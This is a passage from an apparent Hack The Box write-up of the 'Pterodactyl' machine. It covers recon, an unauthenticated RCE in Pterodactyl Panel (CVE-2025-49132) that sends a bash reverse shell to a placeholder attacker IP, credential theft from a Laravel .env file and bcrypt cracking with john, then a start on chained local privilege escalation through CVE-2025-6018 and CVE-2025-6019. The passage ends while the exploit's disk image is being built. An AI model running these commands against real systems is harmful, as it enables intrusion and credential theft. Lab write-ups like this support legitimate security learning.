&lt;p&gt;While the page itself has nothing to exploit, it links out to &lt;code&gt;play.pterodactyl.htb&lt;/code&gt; and a changelog. Fetching &lt;code&gt;http://pterodactyl.htb/changelog.txt&lt;/code&gt; turned out to be far more useful than the page it was linked from:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MonitorLand - CHANGELOG.txt
========================================

Version 1.20.X

[Added] Main Website Deployment
-------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
-------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
-------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This single file discloses the exact Pterodactyl Panel version (&lt;strong&gt;v1.11.10&lt;/strong&gt;), the database backend (&lt;strong&gt;MariaDB 11.8.3&lt;/strong&gt;), and - critically - that &lt;strong&gt;PHP-PEAR is enabled&lt;/strong&gt;. That combination significantly narrows the search for a version-specific vulnerability.&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 Virtual Host Enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://pterodactyl.htb &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.pterodactyl.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="nt"&gt;-mc&lt;/span&gt; 200

________________________________________________

 :: Method           : GET
 :: URL              : http://pterodactyl.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.pterodactyl.htb
 :: Follow redirects : &lt;span class="nb"&gt;false&lt;/span&gt;
 :: Calibration      : &lt;span class="nb"&gt;false&lt;/span&gt;
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

panel                   &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 610ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;panel.pterodactyl.htb&lt;/code&gt; was added to &lt;code&gt;/etc/hosts&lt;/code&gt; and resolves to the Pterodactyl Panel login page.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Exploitation - CVE-2025-49132
&lt;/h2&gt;

&lt;p&gt;With the exact panel version in hand, research turned up a matching vulnerability: an unauthenticated LFI/RCE affecting Pterodactyl Panel.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2025-49132&lt;/strong&gt; abuses the &lt;code&gt;/locales/locale.json&lt;/code&gt; endpoint. By controlling the &lt;code&gt;locale&lt;/code&gt; and &lt;code&gt;namespace&lt;/code&gt; parameters, an attacker can include arbitrary files - which, combined with PHP-PEAR being enabled, leads to PHP object deserialization via PEAR, ultimately resulting in unauthenticated remote code execution.&lt;/p&gt;

&lt;p&gt;PoC used: &lt;a href="https://github.com/YoyoChaud/CVE-2025-49132" rel="noopener noreferrer"&gt;YoyoChaud/CVE-2025-49132&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A listener was started first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the exploit was run against the panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 exploit.py http://panel.pterodactyl.htb &lt;span class="nt"&gt;--pear-dir&lt;/span&gt; /usr/share/php/PEAR &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--rce-cmd&lt;/span&gt; &lt;span class="s2"&gt;"/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1"&lt;/span&gt;

  Pterodactyl Panel - Unauthenticated Exploit
  Targets: &amp;lt;&lt;span class="o"&gt;=&lt;/span&gt; 1.11.10 | Patched: 1.11.11
  Exploit By YoyoChaud

════════════════════════════════════════════════════════════
  VULNERABILITY CHECK
════════════════════════════════════════════════════════════
  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Target: http://panel.pterodactyl.htb
  &lt;span class="o"&gt;[&lt;/span&gt;+] Endpoint accessible without &lt;span class="nb"&gt;hash &lt;/span&gt;parameter
  &lt;span class="o"&gt;[&lt;/span&gt;+] TARGET IS VULNERABLE

════════════════════════════════════════════════════════════
  RCE &lt;span class="o"&gt;(&lt;/span&gt;pearcmd&lt;span class="o"&gt;)&lt;/span&gt; - /bin/bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER-IP&amp;gt;/4444 0&amp;gt;&amp;amp;1
════════════════════════════════════════════════════════════
  &lt;span class="o"&gt;[&lt;/span&gt;+] Output:
&lt;span class="o"&gt;(&lt;/span&gt;connection held - check your listener&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The listener catches a shell as &lt;code&gt;wwwrun&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
listening on &lt;span class="o"&gt;[&lt;/span&gt;any] 4444 ...
connect to &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;ATTACKER-IP&amp;gt;] from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;] 60140
bash: cannot &lt;span class="nb"&gt;set &lt;/span&gt;terminal process group &lt;span class="o"&gt;(&lt;/span&gt;1214&lt;span class="o"&gt;)&lt;/span&gt;: Inappropriate ioctl &lt;span class="k"&gt;for &lt;/span&gt;device
bash: no job control &lt;span class="k"&gt;in &lt;/span&gt;this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.1 Stabilizing the Shell and Finding the User
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;span class="c"&gt;# Ctrl+Z to suspend, then on the attacker terminal:&lt;/span&gt;
&lt;span class="nb"&gt;stty &lt;/span&gt;raw &lt;span class="nt"&gt;-echo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;fg
export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;xterm

&lt;span class="c"&gt;# Enumerate users&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Of the accounts with &lt;code&gt;/bin/bash&lt;/code&gt; as their shell, only &lt;code&gt;phileasfogg3&lt;/code&gt; has an accessible home directory - making it the clear target for the next stage.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 User Flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wwwrun@pterodactyl:/var/www/pterodactyl/public&amp;gt; &lt;span class="nb"&gt;cat&lt;/span&gt; /home/phileasfogg3/user.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Database Enumeration and Credential Cracking
&lt;/h2&gt;

&lt;p&gt;Laravel applications (which power the Pterodactyl Panel) store database credentials in a &lt;code&gt;.env&lt;/code&gt; file - a high-value target during post-exploitation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Locate the .env file&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.env"&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Read it for database credentials&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /path/to/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This discloses the MariaDB username, password, and database name. With MariaDB (not MySQL) confirmed as the backend:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mariadb &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-u&lt;/span&gt; &amp;lt;DB_USER&amp;gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &amp;lt;DB_NAME&amp;gt;
&lt;span class="c"&gt;# Prompts for the password from .env&lt;/span&gt;

SHOW TABLES&lt;span class="p"&gt;;&lt;/span&gt;
DESCRIBE &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
SELECT email, username, password FROM &lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns two bcrypt password hashes. Bcrypt hashes need to be cracked (not decrypted), so they were saved to a file and run through &lt;code&gt;john&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts &lt;span class="o"&gt;(&lt;/span&gt;bcrypt &lt;span class="o"&gt;[&lt;/span&gt;Blowfish 32/64 X3]&lt;span class="o"&gt;)&lt;/span&gt;
Cost 1 &lt;span class="o"&gt;(&lt;/span&gt;iteration count&lt;span class="o"&gt;)&lt;/span&gt; is 1024 &lt;span class="k"&gt;for &lt;/span&gt;all loaded hashes
Will run 4 OpenMP threads
Press &lt;span class="s1"&gt;'q'&lt;/span&gt; or Ctrl-C to abort, almost any other key &lt;span class="k"&gt;for &lt;/span&gt;status
0g 0:00:00:02 0.00% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 01:00&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 81.08p/s 178.3c/s 178.3C/s manuel..jessie
0g 0:00:00:03 0.00% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 06:48&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 80.00p/s 171.4c/s 171.4C/s oliver..brenda
0g 0:00:00:05 0.00% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 12:24&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 78.41p/s 163.9c/s 163.9C/s simple..nicole1
0g 0:00:00:38 0.02% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-11 23:46&lt;span class="o"&gt;)&lt;/span&gt; 0g/s 70.81p/s 141.6c/s 141.6C/s 159159..outlaw
&lt;span class="o"&gt;!&lt;/span&gt;QAZ2wsx         &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
1g 0:00:05:11 0.20% &lt;span class="o"&gt;(&lt;/span&gt;ETA: 2026-02-10 21:40&lt;span class="o"&gt;)&lt;/span&gt; 0.003213g/s 112.4p/s 157.0c/s 157.0C/s 052204..yadiel
Use the &lt;span class="s2"&gt;"--show"&lt;/span&gt; option to display all of the cracked passwords reliably
Session aborted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;john&lt;/code&gt; recovers the candidate password &lt;code&gt;!QAZ2wsx&lt;/code&gt;. Although it comes back tagged as an unresolved user (&lt;code&gt;(?)&lt;/code&gt;) mid-session, it's the only hit against the two loaded hashes - confirmed against &lt;code&gt;phileasfogg3&lt;/code&gt; in the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1 SSH Foothold
&lt;/h3&gt;

&lt;p&gt;Although a shell was already available via the web RCE, SSH provides a more stable session and is generally required for the privilege escalation techniques used later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh phileasfogg3@pterodactyl.htb
&lt;span class="k"&gt;**&lt;/span&gt; WARNING: connection is not using a post-quantum key exchange algorithm.
&lt;span class="k"&gt;**&lt;/span&gt; This session may be vulnerable to &lt;span class="s2"&gt;"store now, decrypt later"&lt;/span&gt; attacks.
&lt;span class="k"&gt;**&lt;/span&gt; The server may need to be upgraded. See https://openssh.com/pq.html
&lt;span class="o"&gt;(&lt;/span&gt;phileasfogg3@pterodactyl.htb&lt;span class="o"&gt;)&lt;/span&gt; Password: &lt;span class="o"&gt;!&lt;/span&gt;QAZ2wsx
Have a lot of fun...
Last login: Mon Feb  9 18:24:39 2026 from &amp;lt;ATTACKER-IP&amp;gt;
phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;whoami
&lt;/span&gt;phileasfogg3
phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1002&lt;span class="o"&gt;(&lt;/span&gt;phileasfogg3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;groups
users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; was checked as a matter of course:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;phileasfogg3:
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;phileasfogg3 on pterodactyl:
    always_set_home, env_reset, &lt;span class="nv"&gt;env_keep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES
    LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE"&lt;/span&gt;, &lt;span class="o"&gt;!&lt;/span&gt;insults,
    &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; ALL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This looks like unrestricted &lt;code&gt;sudo&lt;/code&gt; at first glance, but the &lt;code&gt;targetpw&lt;/code&gt; Defaults entry changes what password &lt;code&gt;sudo&lt;/code&gt; actually asks for: instead of &lt;code&gt;phileasfogg3&lt;/code&gt;'s own password, it requires the &lt;strong&gt;target&lt;/strong&gt; account's password (i.e. &lt;code&gt;root&lt;/code&gt;'s). Since that isn't known, this &lt;code&gt;(ALL) ALL&lt;/code&gt; grant is a dead end without a separate route to root - confirming that no directly usable sudo/SUID path exists here, and pushing enumeration toward the system's D-Bus/Polkit stack instead.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;Initial manual enumeration (&lt;code&gt;sudo -l&lt;/code&gt;, SUID search) didn't reveal a usable path, so a deeper pass was run with &lt;code&gt;linpeas.sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Reviewing the &lt;code&gt;linpeas.sh&lt;/code&gt; output flagged SUID-related activity involving &lt;strong&gt;D-Bus&lt;/strong&gt;, &lt;strong&gt;mount&lt;/strong&gt;, and &lt;strong&gt;udisks&lt;/strong&gt;. Since disk-management operations run with elevated privileges, this immediately suggested a possible authorization bypass. &lt;code&gt;udisks&lt;/code&gt; is a daemon that manages disks, partitions, and mount operations; runs as root; and exposes its functionality over D-Bus. The relevant trust chain is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User -&amp;gt; D-Bus -&amp;gt; udisksd (root) -&amp;gt; Polkit (authorization)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enumerating the relevant binaries and services confirmed the daemon was present and running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:/tmp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; /usr/lib/polkit-1/polkitd
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 113104 Jul 15  2025 /usr/lib/polkit-1/polkitd
phileasfogg3@pterodactyl:/tmp&amp;gt; busctl list | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; udisks
org.freedesktop.UDisks2                            &lt;span class="o"&gt;(&lt;/span&gt;activatable&lt;span class="o"&gt;)&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:/tmp&amp;gt; &lt;span class="nb"&gt;ls&lt;/span&gt; /usr/lib/udisks2/
udisksd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This led to &lt;strong&gt;CVE-2025-6019&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;PoC used: &lt;a href="https://github.com/guinea-offensive-security/CVE-2025-6019" rel="noopener noreferrer"&gt;guinea-offensive-security/CVE-2025-6019&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 CVE-2025-6019 - libblockdev/udisks LPE
&lt;/h3&gt;

&lt;p&gt;A Local Privilege Escalation vulnerability was found in &lt;code&gt;libblockdev&lt;/code&gt;. Generally, the &lt;code&gt;allow_active&lt;/code&gt; setting in Polkit permits a physically-present user to perform certain actions based on session type. Due to how &lt;code&gt;libblockdev&lt;/code&gt; interacts with the &lt;code&gt;udisks&lt;/code&gt; daemon, an &lt;code&gt;allow_active&lt;/code&gt; user can escalate to full root privileges on the target host.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The catch:&lt;/strong&gt; CVE-2025-6019 requires the attacker to be classified as an &lt;code&gt;allow_active&lt;/code&gt; (physically present) user. SSH sessions aren't considered physically present by default, so this condition wasn't satisfied - an additional bug was needed to promote the session first.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 CVE-2025-6018 - PAM allow_active Escalation
&lt;/h3&gt;

&lt;p&gt;The OS version was checked to look for something that could bridge this gap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;phileasfogg3@pterodactyl:~&amp;gt; &lt;span class="nb"&gt;cat&lt;/span&gt; /etc/os-release
&lt;span class="nv"&gt;NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"openSUSE Leap"&lt;/span&gt;
&lt;span class="nv"&gt;VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"15.6"&lt;/span&gt;
&lt;span class="nv"&gt;ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"opensuse-leap"&lt;/span&gt;
&lt;span class="nv"&gt;ID_LIKE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"suse opensuse"&lt;/span&gt;
&lt;span class="nv"&gt;VERSION_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"15.6"&lt;/span&gt;
&lt;span class="nv"&gt;PRETTY_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"openSUSE Leap 15.6"&lt;/span&gt;
&lt;span class="nv"&gt;ANSI_COLOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"0;32"&lt;/span&gt;
&lt;span class="nv"&gt;CPE_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cpe:/o:opensuse:leap:15.6"&lt;/span&gt;
&lt;span class="nv"&gt;BUG_REPORT_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://bugs.opensuse.org"&lt;/span&gt;
&lt;span class="nv"&gt;HOME_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://www.opensuse.org/"&lt;/span&gt;
&lt;span class="nv"&gt;DOCUMENTATION_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://en.opensuse.org/Portal:Leap"&lt;/span&gt;
&lt;span class="nv"&gt;LOGO&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"distributor-logo-Leap"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;openSUSE Leap 15.6&lt;/strong&gt;, combined with known CVEs against that release, led to CVE-2025-6018:&lt;/p&gt;

&lt;p&gt;A Local Privilege Escalation vulnerability in &lt;code&gt;pam-config&lt;/code&gt; within Linux Pluggable Authentication Modules (PAM). The flaw allows an unprivileged local attacker to obtain elevated privileges normally reserved for a physically-present &lt;code&gt;allow_active&lt;/code&gt; user. An attacker with low-privilege local access (e.g. via SSH) could bypass authentication controls, perform Polkit actions typically restricted to console users, gain unauthorized control over system configuration and services, and potentially compromise system integrity, confidentiality, and availability.&lt;/p&gt;

&lt;p&gt;PoC used: &lt;a href="https://github.com/ibrahmsql/CVE-2025-6018" rel="noopener noreferrer"&gt;ibrahmsql/CVE-2025-6018&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Escalating to allow_active
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 CVE-2025-6018.py &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; phileasfogg3 &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'!QAZ2wsx'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This opens a reverse shell running in an &lt;code&gt;allow_active&lt;/code&gt; Polkit session context - satisfying the precondition CVE-2025-6019 needs.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.4 Hosting the CVE-2025-6019 Exploit Files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On the attacker machine&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CVE-2025-6019's PoC needs a crafted XFS filesystem image, generated locally first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;bash exploit.sh

PoC &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 &lt;span class="o"&gt;(&lt;/span&gt;LPE via libblockdev/udisks&lt;span class="o"&gt;)&lt;/span&gt;
WARNING: Only run this on authorized systems. Unauthorized use is illegal.
Continue? &lt;span class="o"&gt;[&lt;/span&gt;y/N]: y
&lt;span class="o"&gt;[&lt;/span&gt;+] All dependencies are installed.
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking &lt;span class="k"&gt;for &lt;/span&gt;vulnerable libblockdev/udisks versions...
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Detected udisks version: unknown
&lt;span class="o"&gt;[!]&lt;/span&gt; Warning: Specific vulnerable versions &lt;span class="k"&gt;for &lt;/span&gt;CVE-2025-6019 are unknown.
&lt;span class="o"&gt;[!]&lt;/span&gt; Verify manually that the target system runs a vulnerable version of libblockdev/udisks.
&lt;span class="o"&gt;[!]&lt;/span&gt; Continuing with PoC execution...
Select mode:
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal: Create 300 MB XFS image &lt;span class="o"&gt;(&lt;/span&gt;requires root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;C]ible: Exploit target system
&lt;span class="o"&gt;[&lt;/span&gt;L]ocal or &lt;span class="o"&gt;[&lt;/span&gt;C]ible? &lt;span class="o"&gt;(&lt;/span&gt;L/C&lt;span class="o"&gt;)&lt;/span&gt;: l
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Creating a 300 MB XFS image on &lt;span class="nb"&gt;local &lt;/span&gt;machine...
300+0 records &lt;span class="k"&gt;in
&lt;/span&gt;300+0 records out
314572800 bytes &lt;span class="o"&gt;(&lt;/span&gt;315 MB, 300 MiB&lt;span class="o"&gt;)&lt;/span&gt; copied, 0.364347 s, 863 MB/s
meta-data&lt;span class="o"&gt;=&lt;/span&gt;./xfs.image            &lt;span class="nv"&gt;isize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;512    &lt;span class="nv"&gt;agcount&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4, &lt;span class="nv"&gt;agsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;19200 blks
         &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;sectsz&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;512   &lt;span class="nv"&gt;attr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2, &lt;span class="nv"&gt;projid32bit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
         &lt;span class="o"&gt;=&lt;/span&gt;                       &lt;span class="nv"&gt;crc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1        &lt;span class="nv"&gt;finobt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1, &lt;span class="nv"&gt;sparse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1, &lt;span class="nv"&gt;rmapbt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
